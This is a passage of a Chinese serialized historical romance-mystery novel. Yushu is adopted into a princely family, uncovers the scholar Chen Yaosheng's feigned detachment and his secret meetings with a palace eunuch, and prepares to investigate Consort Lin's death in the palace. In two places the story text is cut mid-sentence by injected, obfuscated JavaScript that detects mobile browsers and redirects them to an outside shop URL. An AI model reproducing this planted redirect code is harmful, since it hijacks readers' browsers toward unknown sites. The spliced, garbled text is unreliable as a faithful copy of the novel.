自打去年绣花大赛事毕,郡主芳心沉寂,就再没有相中之人。如今或要嫁于毫无往来之人,饶是深知皇室婚姻大多如此,也总难平静接受。 三殿下也了然,劝解道:“放心吧,太后用心筛选,能入她眼的都是一等一的优秀儿郎。何况,她还问你心意,够难得了。估摸着最后入围那两三个,定也会来问我意见,我自不会随便应下,必得你首肯,还不行吗?” 郡主撅嘴,恰逢管家前来提示吉时将近,便也没再说了。 唯陪我梳妆时,她仍惆怅的手托腮,喃喃道:“真羡慕你和宁轩哥,两情相悦、情投意合。也不知道我将来的……诶,怎么戴这个簪子?不搭她的礼服颜色啦!” 郡主跳起来,从垂云手上夺下簪子,一面问:“有个祥云的呢?我记得我专门挑给她的呀,哪去了?” “啊,”我搔搔头,想起我在金华砸出的一箩筐首饰,“怕是全碎了……” 郡主咂舌,也顾不得深问,只又从自己的首饰匣中挑出一大堆,与礼服一一比较。末了,选出一支云状发钗,才勉强认可。 “还是那支七彩祥云的最相配,当时我一眼就看上了……可惜碎了。早知道先放在我这里了嘛。” 郡主絮叨着,我也没当回事。若不是晚上回去垂云提醒我,我都忘记当日在金华,我还送了小白一支簪子。 “什么?郡主说的就是那支?” “应该是。”垂云回忆着,“能和今天礼服花纹相衬的,应当就是白少爷看中的那支。不过也没事啦,后来用了一支金云发钗,不也挺配嘛。” 也是,不就是配个衣服嘛。 我耸耸肩,转眼就把这事丢到了脑后。于郡主而言,也不过是个小插曲,很快就忘记了。是以日后巧合再见它,才会衍生出那种种风波,但那就是另一桩故事了。 说回当下,郡主挑出满意的簪子后,又嫌弃垂柳选的胭脂色弱,说日头渐落,会显气色不佳。我瞧着都是嫣红,哪有什么区别,索性拉着她走到窗下,让她细瞧。 恰在此时,候在廊下的谢宁轩和三殿下,低沉的议论声飘了进来。 “那丫鬟冰清的供述,能和卷宗对上吗?”三殿下问。 “嗯,毒酒果然下了,这一点可以确认无疑。” “胡氏还是嫌疑最大的吗?” “目前看至少不能排除。” 三殿下叹了口气:“一年了,宁轩,查找了这么多人,进展始终缓慢。我看……不一定有耐心了。” “那也没有办法。”谢宁轩声音清冷,似并不在意,“他要追寻的本就是极其隐秘之事,偏又得暗中行事,自然不容易。” “话是这样没错,但雷霆一怒……不如,让义妹……” 话未说完,谢宁轩已经断然拦截:“不行,太危险了。” 我和郡主脑袋凑在一起,正比较着腮红颜色,闻言俱是一愣。 窗外声音也消弭了须臾,仍是三殿下先开口,闷闷的:“你既说义妹似对门第之差也有顾虑,何不冒险一试 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|52xs|n|shop|14379152|136592||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ?她现在有我王府护佑,以她聪慧,或能突破瓶颈。这个案子又是圣上的心结,谁能查清,赏赐将会是空前的丰厚。你这一被参,牵扯到她,怕是你求取恩典都不容易了。” 郡主拉着我的手倏地一紧。 倒是我,在吃痛的刹那,才后知后觉意识到,三殿下说的“恩典”,竟是指我和谢宁轩的婚事。 谢宁轩的声音再次响起,依旧是成竹在胸的笃定。 “这道恩典,我势在必得。除了我的心上人,我谁也不要。这是我在离京前,明明白白告诉过圣上的。若是圣上真要以此难为我,我宁愿辞官离京、宦海抽帆。” 这次换成是我倏地掐住了郡主的手。 三殿下的轻斥声立即响起:“宁轩!莫要再说这种话!你的抱负、理想,都不要了?就算你放得下,太子能同意吗,圣上也绝无可能放你走!” 说罢,三殿下又放缓了语气,叹声道:“远不至如此,宁轩,不必说这些话。你晓得的,圣上和太后本因齐王叔旧事,就能在婚事上由你。只是现在牵扯到你带她查案,你要娶的又是她,圣上听了能不多心吗?你说南下追踪冰清,一走就是几个月,回程只带来口供,也仅仅落定了胡氏的嫌疑。圣上难道不会疑你假公济私?你就算不考虑自己,也得为义妹想想吧。名声有碍,圣上若早有成见,即便赐了你恩典,她日后的日子怕是也不好过呀!” 心又是一揪,长时间来的担忧再次浮现。 我就知道,谢宁轩不该陪我在金华拖沓了! 谢宁轩听了这话,似也动摇。但他还是不同意,说:“那就更不能让羽书去了。太后本就反对,你我在宫中尚无法施展拳脚,她去岂不更危险?阳远又不擅此道,连个能与她里应外合的人都没有。” 太后,宫中? 郡主也没搞清他二人的哑谜,只听得糊里糊涂,眉毛乱飞。 谢宁轩曾说过,圣上密旨安排他和三殿下查一桩关涉先帝妃嫔死因的案件,旷日已久,但圣上始终耿耿于怀,誓要查清脉络。 此次南下,也正因有关键证人待寻,他才能以此为借口离京。想必方才三殿下口中的“丫鬟冰清”,就是那位病死在金华的宫人了。 而他和三殿下为避人耳目,都不得不躲进青楼密探,莫非就因此案,外得保密,内又不能让太后知道?以致宫内行走探听受阻,线索无法畅快查访,才会拖沓查了一年? 可宫中旧案而已,为什么太后会反对调查? 方才三殿下提及我的名字……他想让我进宫协助调查? 这个时候,我尚没有机会细问,胡乱思索须臾,吉时已到,我们便先赶着去完成结拜仪式。 低调而又隆重,在三项复杂的流程过后,随着三殿下和郡主与我饮下同一碗血水,我御青王府二小姐的身份,算是落定。 郡主陪我进屋换回常服,一面伸伸懒腰:“好了,拖了这么久的大事,总算办成了!可惜办的匆匆,没能大宴宾客!” 三殿下刚送完谢宁轩出府,闻言笑道:“事有紧急。没事,我四月大婚,会将义妹正式介绍给京城贵胄们。放心,这名头可不是空的。” “多谢殿下。” “怎么还‘殿下’?” “哦……”我搔搔头,“多谢义兄。” 郡主捂嘴轻笑,旋又看看天色,问:“宫门下钥前,宁轩哥赶得进去吧?” “来得及。”三殿下点点头,“走吧义妹,府内早就为你收拾好了住处,去瞧瞧?” “不忙,义兄。我得先趟齐王府。” 141.淡泊名利 数月未踏足齐王府,亭台楼阁,一如往昔的熟悉。刚巧王妃外出赴宴,我得以直奔二公子居所,未作耽搁。 “是谁?”内里声音响起,没什么精气神。 “是我,我回来了。” “咣!”的一声,好像是杯盏落地的声音。 “二公子,二公子!你开门呀!”我又敲了敲门。 这干啥呢,慌里慌张,还砸了杯子? 片刻后,房门被打开,二公子站在门里,一双瑞风眼朝我上下打量,从紧张到坦然,划过丝丝不易察觉的贪婪。 “你回来了,羽书妹妹。”他轻笑着,表情和声音,却显得陌生。 我莫名觉得不太对劲,忙也朝他细瞧,发觉他脸颊微凹,身形更颀长纤细。 “你瘦了?” 二公子没有回答,转身进屋,绕过了书桌前一滩茶渍碎片。桌上一把弓箭,正压在宣纸之上。 “有事吗,羽书妹妹?”他问。 说不出来的客套、疏离。 我也站定在门口,在心中叹了口气。 是这样的,该这样的。我既选择了他的哥哥,我们之间的距离,也合该这样。 或许这对王羽书和二公子来说,是残忍的。可对我,和我这个时空的二公子来说,隔远些,反而对彼此都是保护。 今日我也不该来,若不是有件事我需得问个清楚,我也不会来。 我深吸口气,没有再拖沓折磨彼此,直接开门见山:“我来是想问你,你是不是派人跟踪陈尧昇了?” 二公子身子一僵。 他本背对着我,半个身子在烛光阴影中。若非紧握的拳头,微微颤抖的肩膀,我也窥不见他的心。 但我也只能装作窥不见。 此时听到我的问话,二公子先是一紧,复又松下臂膀,用一种无所谓的语气道:“我不知道你在说什么。” 我叹了口,不兜圈子。“陈尧昇参了谢宁轩,也提及了我。他不是一向不涉朝政吗?你仰慕他,不就因他醉心诗书,是个不喜黄白之物、不喜官场噪杂浑浊的淡泊君子吗?但他却一反常态上书参谢宁轩,为什么?” 二公子眼眸一颤,侧过了头。 “此事已惊动太子殿下,授意三殿下派人监视跟踪他,疑他此举系被人指使。却意外发现,早在参奏之前,你已经在派人暗中监视他。为什么,二公子,你为什么要监视他?” 二公子仍站在阴影中,面无表情,垂睫不语。 我走近了一步,低低说出了我的猜想。 “白马书院案之前,你已经察觉到他的淡泊是装出来的了,对不对?你震惊、痛苦、难以置信,感到信仰崩塌,才会在之后的几个月一反常态,垂头丧气,无精打采,对什么都没有兴致,对不对?” 来之前,三殿下告知我,他派人跟踪陈尧昇这些日子,发现他仍多数时间居于书院,生活简单,也没有繁杂的人际交往。唯将原来一月一次前往文庙叩拜孔圣人的习惯,改至五日一趟。 郡主不以为然:“读书人拜孔圣人,有何稀奇?” 三殿下瞥她一眼:“他已经取得状元桂冠。若是尊重圣人,一月一次祭拜足以表达诚心,何必提前至五天一次?” 郡主一滞:“对哦……那他去干什么?” 我略有猜测:“和人会面?打着祭拜孔圣人名义,掩人耳目?” 三殿下满意颔首:“还是义妹聪慧。” “哇,”郡主惊叹,“搞得什么神秘!他偷偷见的谁?” “孙公公。” 我正在想这是谁,郡主已经跳脚:“孙公公!哥哥你说的不会是,圣上身边那个孙公公吧!” 看着三殿下点头,我和郡主面面相觑。 我更立即想到一种可能,后背都麻了。 “义兄,你、你不会要说,授意陈尧昇参奏谢宁轩的,是、是……” 郡主大呼:“什么!圣上安排人参宁轩哥!” 好在,三殿下否决了我的猜想。 他道:“我刚开始认出来人身份,也吓了一跳。但很快我就偷听到,孙公公正在质问他,为什么要通过书院院长,呈递翰林院奏本,参宁轩。” “啊,圣上也不知情啊,还好还好。”郡主松了口气,一回头见我仍是迷惘,解释道,“哦,白马书院的院长有朝廷客卿之尊,享有通过翰林院递本上呈的权利。想来陈尧昇便是请他帮忙,才把奏本递到圣上眼前。” 这么说,陈尧昇的参奏,和圣上无关。那又是谁授意的?他一个淡泊名利、远离庙堂之人,为何忽然参奏谢宁轩? “他对孙公公解释,称白马书院案见你跟随在宁轩身后,屡屡出没于案发现场,就觉不妥。恐宁轩此举不顾法纪,联想到前同覆灭之教训,更恐再酿祸乱朝纲之过错,因而不得不上书请柬。” 我倏地想起书院那时,陈尧昇确实对我的出现表达过不悦…… 好家伙,那他这纯属为了朝政着想,并无背后龃龉了?虽说将女子视为潜在“祸水”的行为古板守旧,鉴于他是个读书人,好像也并非不能理解。 或许他就是杞人忧天,本着先天下之忧而忧的读书人精神,上了奏本而已。 三殿下却摇头:“若仅如此,我和太子何须紧张?我又何必特在码头等你们,定要你赶紧完成仪式?” “哥哥,什么意思呀?”郡主急切的问。 “陈尧昇上奏,断非他解释的这样光明。跟踪他这些日子,我已发现,过去几年,他每月来文庙,竟时有和孙公公会面。” “什么,过去几年,时有会面?”郡主也惊了,“他、他见孙公公,干什么?” 三殿下摇头:“你应该问的是,圣上为什么要安排人,隔一段时间就见他一次。” 言下之意被我听懂,登时愕然。更瞬间明白了三殿下的质疑。 陈尧昇时有与孙公公会面,就说明他本就有向圣上呈递奏本的途径。如仅因谢宁轩行为不妥,直接告知孙公公,提醒圣上注意即可,根本没必要通过书院院长的渠道上书。 客卿奏本的上呈,走的可是翰林院、内阁之途,经手大小官员,都能看到奏本内容及上奏之人。 陈尧昇不是淡泊如云,当日都能拒官出世,不理朝政的吗? 如只是一时怀有家国天下之心,何以闹得人尽皆知,这和他素日低调内敛的形象,完全不符呀。 还有,圣上竟然安排孙公公隔一段时间就见陈尧昇一次,这又是为什么?他不过是个书院先生,即便与当年逆案平反有关,也过去了这么多年,早就风平浪静了。 他身上有什么,是圣上依旧在意的? 或者说,他凭什么,能让圣上依旧在意? 在书院教书这几年,孙公公始终与他私下会面,又能是因为什么呢? 三殿下朝我颔首,意味深长的说:“当年平反逆案后,他拒官入书院,就挺奇怪的,不是吗?” 郡主插嘴:“哥哥你不是说,他生性淡泊,唯爱诗书?连参加科举,都是受家族逼迫吗?” 三殿下冷笑 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|52xs|n|shop|14389233|136592||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 一声:“唯爱诗书?那一桩关系二十多年前的逆案,他怎么就敢贸贸然说出那掉脑袋的说辞?偏又正中圣上下怀?” 窗缝溜着呼呼的风,朝人脊背无情的吹。 我望着三殿下,深切地意识到,原来不止我听到这桩传闻时会有质疑,京中朝臣贵胄,原来早就有过揣测。怪不得当日在锦业寺外,面对我的询问,谢宁轩也只是草草带过,不曾直白回答。 那桩由陈尧昇引发、殿试挑起,数日后就摧枯拉朽完成的“沈渊博”逆案平反,分明就是圣上与他自导自演的戏码,对不对? 但陈尧昇拒官了。 他没有就此入仕,成为炙手可热,圣上的心腹。相反,他沉淀到书院中,安心教书,醉心诗书。 有所猜测的人们,反而瞠目结舌了。 难道逆案平凡,真不是一出安排好的局?又或者,他完成了圣上的指令,丢为弃棋了? 那奉承他,还有用吗?讨好陈家,还能有收益吗?再翻旧案,看看还能不能平反一个二个,还能讨圣上欢心吗? 大家都看不懂了。 尤其之后数年,陈尧昇就真的沉浸在白马书院,教授着一批一批的学生,安稳、宁泊,再无跌宕。就连后宫中封了他的姑母为继后,好像也与前事扯不上什么干系。 人们渐渐消弭了好奇心,蠢蠢欲动从中得利的念头,也只得搁浅。另一方面,陈尧昇则日渐坐稳了“淡泊名利”的人设。 可如果,这一切,从头到尾,全是设计呢? “圣上早就料到,突兀的逆案平反,除了会招致哗然,还会引发一种乱象,即不知深浅的效仿。人们往往试图模仿别人走过的成功道路,寻求捷径。但圣上不需要、不想要,甚至不允许它再出现。” 沈渊博是否真的叛乱,我没有证据无法混说,也不能对五年前的平反草率盖棺定论。 但高岭之变,以先帝之太子、无数宗室朝臣的血写就,是不可逆转,圣上也不会允许逆转的存在。 虽然今日,我仍不明白,圣上为什么要单拎出沈渊博平反,此人到底有何特殊。但于圣上而言,其他人,是肯定不可能再有这个待遇。 因此,沈渊博一案落定后,圣上不可能希望再有人效仿。与其驳回一道道试探的奏本,令朝臣坊间无谓猜测议论,倒不如直接釜底抽薪,扭转事情走向,反而令人摸不着头脑,不得不束手。 而于陈尧昇来说,风口浪尖的他激流勇退,暂避风头,难道不是一种保护吗? “所以这五年来,他看似是处在白马书院,安心教着书,实际根本不是他淡泊名利,而是圣上授意,不得不为之。”我徐徐说出自己长篇大论的揣测,将回忆收起,盯着此刻眼前面色衰败的二公子。 他坐在窗下椅子上,侧身望着窗外,面色颓唐,眼中无光。往日在他“少爷范儿”烘托下极其相衬的玉冠宝额、金丝衫袍,彰显华丽与尊贵。可今日,我只看到了万念俱灰。 喟叹一声,我还是继续说道:“我陪你到书院那一遭,就曾听过孟秋堂的戏言,说陈尧昇能在殿试中明确回答圣上的问题,说出沈渊博一案有疑,根本就是设计好的。我以为他在泼脏水,实际并不是。而你,也在那之后,发现了,是不是?” 我慢慢走上前,将一度盘旋在心口的疑虑,将就在刚刚才想通的前因后果,和盘托出。 “二公子,书院一案中,你说你泼了酒水到他身上,自请去为他取衣服……你在撒谎,你在替他隐瞒。你实则,是想摸进他的房间,寻找线索的,对不对?” 142.袍泽伴侣 当日白马书院一案,二公子之所以被污为凶手,正因他不合时宜的出现在了案发现场。 对此,他的解释是,帮陈先生取衣服。 那时我和谢宁轩无法立即相信他的证词,理由之一便是,陈先生之所以需要更衣,也是因为他泼湿了人家的衣服。 当然,此案曲直是非已定,此处无需再说。但之后,二公子就开始陷入一种彷徨、懒散的低气压中。 我一度以为是同窗受难,好友诬陷,令他惑于友谊。又或者,是我这个“王羽书”伤了他的心。 可现在想想,以他对陈尧昇的仰慕,如他发现,所谓“淡泊名利”只是包装,所谓“勇气可嘉”全是提前设计,所谓“拒官出世”一开始就是谎言……他的情绪,能不崩溃吗? 从三殿下派人跟踪,轻松就发现了孙公公的会面来看,关系陈尧昇的局,圣上并未安排至滴水不漏。或许也是因为,圣上一开始也没打算,为陈尧昇做的多么圆满。 对其他人来说,获知来龙去脉,无非暗唾一句“虚伪”,聪明人更能读懂圣意,少些上蹿下跳。可这对二公子而言,不可谓不是冲击。 在我紧紧凿凿的目光压势下,终于,二公子开口了。低沉、徐缓,好像一个刚入门的配音师,为了不磕磕绊绊,只得放慢速度,读着别人的故事。 “自小,我读书便不及哥,他入宫做陪读,年少登科,甚至早早立于太子身侧,评说朝政,尖锐又真挚。父王对我少有笑容,总是严厉斥责我,不肯下苦功夫。直到我入了白马书院,陈尧昇成为我的老师。” 二公子弯弯嘴角,露出一丝嘲讽的笑。 “他告诉我,书犹药也,善读之可以医愚,明理修养,开心明目。若将读书做一目的,求一结果,攀比之成绩或名利,皆乃自困徒劳。呵,多么光辉而广阔的说辞?我信了,我信了……我真的以为天地广袤,读书明理是途径,怎么向着书中黄金屋,就买椟还珠了?我逐渐释然,逐渐从读书变为赏书,逐渐体会到笔墨纸砚间的快乐,即便我不擅长,即便我向往的是……” 喉结滚动,他吞下了什么字眼我不知道。只是心有戚戚,我宽慰道:“他说的,也并非全无道理。” “道理?”二公子迟缓的抬头,朝我反问,“他是个阳春白雪、淡泊名利之人,他说的唯读书高才算道理!可他是什么,小人!明明催问着孙公公入仕的时间和官职,央人家说尽好话,赶紧给他安排!说什么一天也不想再在书院呆下去!一面私下又与秦家、许家、孟家往来,巴不得这些一等一的高官能提携一二。在我们面前,还处处淡然,装的什么也不在意,还口口声声批评我们心有旁骛。” 饶是已然猜到,我仍不免听得惊异:“你、你怎么查到这些的?怎么会怀疑起,他的人设是假的?” “人设?”二公子喃喃着,“还真是个妙词,形容他最是形象!亏得我还为了他和秋堂打架!之后我却无意撞见,他收下了秋堂送去的金银!我想到秋堂说他‘假清高’……那一刻,我真的以为只是误会!” 果然是因当日打架。 “我这时才想起来,当年入学,他为什么会来劝抚我?并非我主动陈述烦恼,是他来问我父王那年的生辰宴安排,见我兴致不高,才说起来。” “那他,他也没向你奉承?你父王不是……” “呵!”二公子嗤了一声,“我父王睿智,为避结党营私之嫌,从未在朝堂举荐学子,朝廷谁不知道?哥又是眼中揉不得沙之人。他那是自知小动作瞒不住父王和哥,与其讨好他们,走他们的捷径,还不如通过我伪造出个淡泊的形象,反而令父王和哥生出些敬意!” 二公子用手捏住眉心,彷徨又失望。 “羽书妹妹,我是不是很愚蠢?识人不明……一次一次的自以为是。” 二公子苦涩的说,唤醒了我一个遥远的回忆。 离京前,他也曾对我说过“我总是这样,为着不该有的希望,为着看不清的人,做不出明智的选择”。 原来不止“王羽书”,让他失望透顶的,不止一个。 瑞风眼阖上,二公子颊边线条都似模糊了些。我避开视线,不忍去瞧他眼尾的湿意。 一时沉默,我们谁都没有再开口。 蜡油自烛心滚落,是一颗一颗燃尽心血的泪珠。 一盏茶后,二公子才又低低开口,他微笑着,努力将握紧的拳轻放。 “羽书妹妹,你回来了,那……那我哥是不是也回来了?你们,你们……” 他没有再说下去,只是哀哀的垂眸望地。 无数话语在喉间翻滚,我却始终说不出来。 直到他再一次抬眼看我,平静的声音,没有起伏。 “其实哥离京前,来找过我。他将和你的开始、进展,包括你的拒绝和疏远,都告诉了我。羽书妹妹,”二公子伸手扶住椅背,做出了站起来的动作。但迟疑片刻,他还是没有靠近我,只又道,“我不怪你,也不怪哥。是老天作弄,我也该清醒了,重新选择了,对不对?” 我望着他鼻尖的一抹红,清晰的意识到,他说的不单单是他的感情。 “你要重新选择什么?”我轻声问,还是忍不住的关心。 二公子无力扯扯嘴角,伸手摸了摸书桌上的一沓书,《孙子兵法》的一角,正翘起着。 他只又道:“今日来找我,羽书妹妹,你不只是来告知我你的猜想吧?你想问什么,就问吧。” 他又关闭了心门。 我清楚此时的“王羽书”,也不配要求他敞开心扉。 于是,我只能在心底叹息,逼着自己,说出真实的来意。 “你比三殿下更早开始跟踪陈尧昇,远在他参奏你哥之前,这么久了,你知道的远比三殿下多,是不是?” 一月一去文庙,见的人也不止孙公公。陈尧昇分明没有放弃入仕之路,并一直为此打算、筹谋着。 但阶段压缩至五天一次,就出现了参奏一事。二者到底什么关系?陈尧昇冒着参奏圣上面前红人的风险,又要谋求什么? “二公子,我今日来,就是想请你告诉我,指使陈尧昇参奏你哥的,到底是什么人 ?” *** 回京次日的午后,我正闷闷不乐坐在御青王府我的院中,拨弄着桌上的烛台。 熟悉的脚步声响起,是谢宁轩来了。 他跨门轻唤,带着笑意:“羽书,做什么呢?呐,猪蹄,你喜欢的那家馆子刚出锅的,还热乎着呢。” 他含笑递来食盒,还是如往常挺拔、松弛,不见焦虑。 我哪有胃口吃饭,忙迎上前问:“怎么样,你面圣结果如何?圣上训你了吗?” 谢宁轩将食盒放在桌上,慢悠悠地打开,一面点了点头。 心提到了嗓子眼,我纳闷都被训了,这家伙怎么还这样淡定。 “还是那一套,怪我行事怪谲不守分寸,不尊祖制。说查案而已,何必陷自己于他人口风,落他人口实。” 谢宁轩徐徐说完,也刚好将餐盘取出,一一摆在桌上。除了猪蹄,他还买了鲜虾豆腐花、浇头丸子、玫瑰奶汁,全是我爱吃的。 眼眶有些酸涩,我一时没说话。 谢宁轩露出梨涡,伸手握住我的手,柔声道:“怎么了?别自责,这又不是你的错。是我一意孤行,坚持带你查案,累你辛苦,现在还被人指点,该你怪我才是,怎么还自责起来?” “若不是迁就我的喜好,你就不会……” “顺了你的喜好,看你开心我就开心,咱们两个还能思绪对碰,加快破案的速度,这可是一箭多雕,我高兴还来不及呢。” 谢宁轩刮刮我的鼻子,又道,“何况这次圣上生气,也有怪我出京太久,迟迟未能查清宫中旧案的缘故,不全是因为奏本。” 我强压下泪意,也不愿他忙碌一天,还得安抚我。听得这话,心下微颤,一个盘旋多时的想法,再次攀上灵海。 我试探着问:“金华那个宫人,你不是说取得口供,就算搞清谜团一角了吗?那查清其他,还很遥远?” 谢宁轩露出几许无奈,含糊的说:“还有些缺口,得再花些时日。” “你曾说圣上对此案执着,定要查清。那你若是查清,会给你什么赏赐呀?” 谢宁轩歪歪头,似乎会错意了。他眯眼轻笑,凑近来道:“羽书是想问我,什么时候能取得恩典,正式求娶你吧?” “啊,我没有!”怎么想到这儿去了!我赶忙摆手澄清,“不是不是,我不是这个意思。” 谢宁轩依旧笑眯眯:“不是想问这个吗?但你猜的也没错啦,查清此案,讨个恩典还不简单了?” 这话和昨天三殿下说的异曲同工了,看来此案之 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毕竟这个参奏,背后到底图谋什么,现在还搞不清楚。 可这等担忧落在我的耳中,却极不是滋味。 明明太平盛世,怎得唯有依附,唯有躲在怀中,才能保全自我? 讨得一个姓名与身份,怎么就那么难? 我深吸口气,贴到他身前,伸手捧住了他的脸,丢下一磅:“谢宁轩,如果我去,能查清楚案件,能让‘女捕快’变成可能呢?” 谢宁轩眼神果然变了,他迟疑又震惊的看着我。 我就知道,一个刑狱官的执着,怎么可能轻易放弃。 我谆谆说道:“你一开始引领我查案,不就是想让我将‘女捕快’具象化,呈现给圣上一个实打实的形象,让他清楚看到这一设想的利处。要比你高谈阔论却纸上谈兵,空与死板不知变通的老学究们辩论,来的直接许多吗?” “我……羽书,我是这么想过,开始我的确存了私心……这是危险的,圣上若是完全不肯听我谏言,雷霆大怒,也会牵连到你啊。江瑟楼案后,我再没有动过这个念头!我甚至犹豫,是不是该不顾你的喜好,强行你远离每个案发现场!” 可接下来遇到的鹦鹉学舌案,正逢我俩闹别扭,他不愿此时加深我俩的矛盾,更在听到我愿意为他分忧时,欣喜悦然,也就同意了我去查案。 而白马书院案,偏偏又牵扯进二公子,他也知我心性,不会袖手旁观。加之我刚刚拒绝了他。多重忧虑下,他也失了分寸,只想与我多创造些共处时刻,更能抓紧救出弟弟。管它是不是查案,管它合不合宜了。 “直到南下,我看到你被二傻压倒在身下,我简直……”喉结滚动,谢宁轩生生压下愤怒,才又道,“我不能失去你,我不能。所以你的喜好,你的愿望,我都要替你实现。羽书,你喜欢查案,就放手去查,能和我并肩作战,我更是喜不自胜。但这一切,是得在安全的前提下呀。” 所以南下路上,金华王宅,他都任我去了。 可这就安全了吗? “你庇护我,就算安全了吗?”我轻声问,听到自己的声音,带着丝丝残忍,“这次,你不是也被参了吗?连带我一起?” 谢宁轩张了张口,眼眶倏地红了。 心下不忍,我忙握紧了他的手,柔声道:“别把一切都加给自己,这是你对我说过的,我现在也对你说,别把我的重担都背在自己身上,好吗?我可以帮你的,不是吗?让我去查案,让我去解决困扰你们的难题。圣上心结,我若能解开,我在他的面前,就有了姓名权,就不再是指责你罔顾法纪的奏本上的一个名字。而你,也可就此实现你的理想抱负,改变大青刑案调查的局限,不好吗?谢宁轩,这才是彼此成全,才是我们真正的携手并肩作战啊。” 手心力道变大,是谢宁轩紧紧地回握住我。 我能感受到他跌宕起伏的内心,虽然他什么都没有说。 四目相对,任时间流逝,我的诚恳请求渐渐化作坦然微笑,谢宁轩的担忧拒绝,也蜕变成满满的倾慕。 半晌,他轻启朱唇,话语轻飘飘,却又掷地有声:“好,羽书。你去做自己想做的,什么也不要怕。无论发生什么事,我都与你站在一起。我就是你,你就是我,最坚实的袍泽伴侣。” 143.琳妃之死 两日后,三殿下、郡主、谢宁轩齐齐坐在我的小院中,商讨入宫的具体细节。 闻得郡主将陪我一道入宫,我吃了一惊:“不是说安排我扮作侍女,混在内廷司吗?” “那只是前晚我草率的想法,回去细究,我就发现,这不是个好主意。”谢宁轩道。 郡主点点头:“内廷司那易主薄最爱嚼舌头,他是太后亲信,万一察觉了可怎么好?还是我陪你去,直接就住在太后寝宫!” “啊?直接住太后寝宫?岂不更危险!” “义妹这就不知道了。”三殿下却道,“一来,姝儿隔段时间入宫陪太后小住已成惯例,无人会对她带去的侍女刁难,甚至不会过多瞩目;二来,姝儿熟悉宫中大小管事,到哪都有薄面,你想去何处调查,她都能合理引你进去。” “第三嘛,有我伴着你,也安全呀,为你保驾护航!”郡主拍拍胸脯。 “这、这怎么好意思?拖累姐姐你了呀。” “怎么不好意思了?”三殿下笑,“你去查案,不也是帮我的忙吗?咱们一家人,还客气什么。” “就是,左右在宫外也无聊。你不知道,湘湘去了幽州探望哥哥,蝶吟陪母去白云观小住,楚歌外祖大寿,她也南下了。京中连个陪我打马球的人都没有!还不如这时节去陪陪太后,让她老人家高兴高兴。只不过,”郡主绞着帕子,“我怕我做不好。你们都不在,就我帮着义妹,能查清楚吗?” “不必担忧,”谢宁轩安抚,“你就正常做就行了。素日在太后跟前什么样,继续什么样。” 三殿下弯弯嘴角:“至于查案,有义妹一个人,足够了。” 郡主语气轻快,说的好似天气一般的闲话,但我还是心中感念。若非我一意孤行,大抵郡主是无需多呆时日的。 可住到太后寝宫真的方便查案吗? “其实反而有利了。”谢宁轩颔首,“因为这桩案子,与太后也有些关系。” 三十八年前,今太后诞下次子,也就是齐王。彼时圣上两岁,尚在幼年。 四年后,即先帝康元十四年,元谪太子届弱冠之龄,先帝圣心大悦,不顾当时旱灾未平,坚持为太子举办祭天祈福仪式。 熟料,在前往祭宫的路上,却遇到灾民冲卡,乱作一团。等秩序恢复后,年仅四岁的齐王便失踪了。 “我父王的失踪,让太后——哦,她当时还是珍妃——一蹶不振,病逝如山倒,很快便连膝下长子也顾不得,便托付于好友琳妃代为照顾。” 哦?难道这又是一个背刺闺蜜、夺子宫斗的戏码? “琳妃膝下有一女,就是如今的多荣长公主。第二胎则生了个皇子,年岁与当年圣上差不多,但没养活到一年,就不幸夭折了。她与珍妃素来交好,幼时的圣上养在她膝下,也能弥补丧子之痛,所以琳妃对圣上便十分悉心。等到珍妃身子痊愈,便索性与她共同抚养膝下一双儿女。也正是因此,多荣长公主才会与圣上如此亲密。” “然后呢,这和案件有什么关系?” 谢宁轩与三殿下对视一眼,正色道:“这桩令我们调查了一年之久的宫中谜案,便是二十八年前的琳妃之死。” 我有点懵:“琳妃之死?” 郡主掐指一算,登时坐不住了。“二十八年前?那不就是先帝康元二十年?那年、那年可发生了高岭之变啊!” 高岭之变,那桩发生在先帝时期的太子谋反案?牵扯进废后胡氏、元谪太子及外戚胡氏家族,并逼得先帝离宫的政变。 据说先帝亲率勤王之师不过一月便平乱了,之后太子赐死,废后自裁,外戚胡氏及其党羽被连诛屠杀,京城血流成河。 哦,这场政变,还牵涉到一个叫沈渊博的人,才有了五年前的平反一事。 这里头的弯弯绕绕我至今没搞清楚,怎么又和先帝琳妃之死扯上关系了? 三殿下解释说:“康元二十年的七月初七,正是爆发高岭之变的日子。而记载中,琳妃也是死于动乱当晚。” 我不解:“史书记载,元谪太子当晚发动兵变,但围困尚未成,先帝亲率羽林军自缺口带后宫逃生离京了呀。琳妃怎么会死在当晚?难道是刀剑不长眼,误伤了她?” “不,”谢宁轩摇头,“动乱前夕,她应该就死了。先帝带后宫逃出皇宫才发现少了她,本以为是乱中出错。可根据胡氏一党被抓后交代的来看,废后胡氏冲进朱雀宫的时候,琳妃已经躺在床上没了呼吸。” “等等等等,”我听得更糊涂了,“讲细一点,我还是有些不明白。琳妃到底怎么死的?” 三殿下摊手:“这就是圣上命我二人调查了这么久都没查清的事。” 原来他们奉命调查的,便是圣上养母、先帝琳妃的死因。 “此案过去太久,又正值宫中动乱,不仅没有多少记载,就连琳妃的尸身都在当夜的大火中被焚毁。当年的宫人死的死,外放的外放,我们光追查这些外放宫人,不就耗费了大量时间与精力吗?还活着的、见过琳妃的宫人也没几个了,提供不了什么线索,收获甚微。” 我点点头,理解的同时,也浮起更深的疑虑。 “圣上与养母关系密切,因而想要追查养母的死因,这一点我明白。但为什么不在登基时查?这都过去了这么久,自然难查啊。” 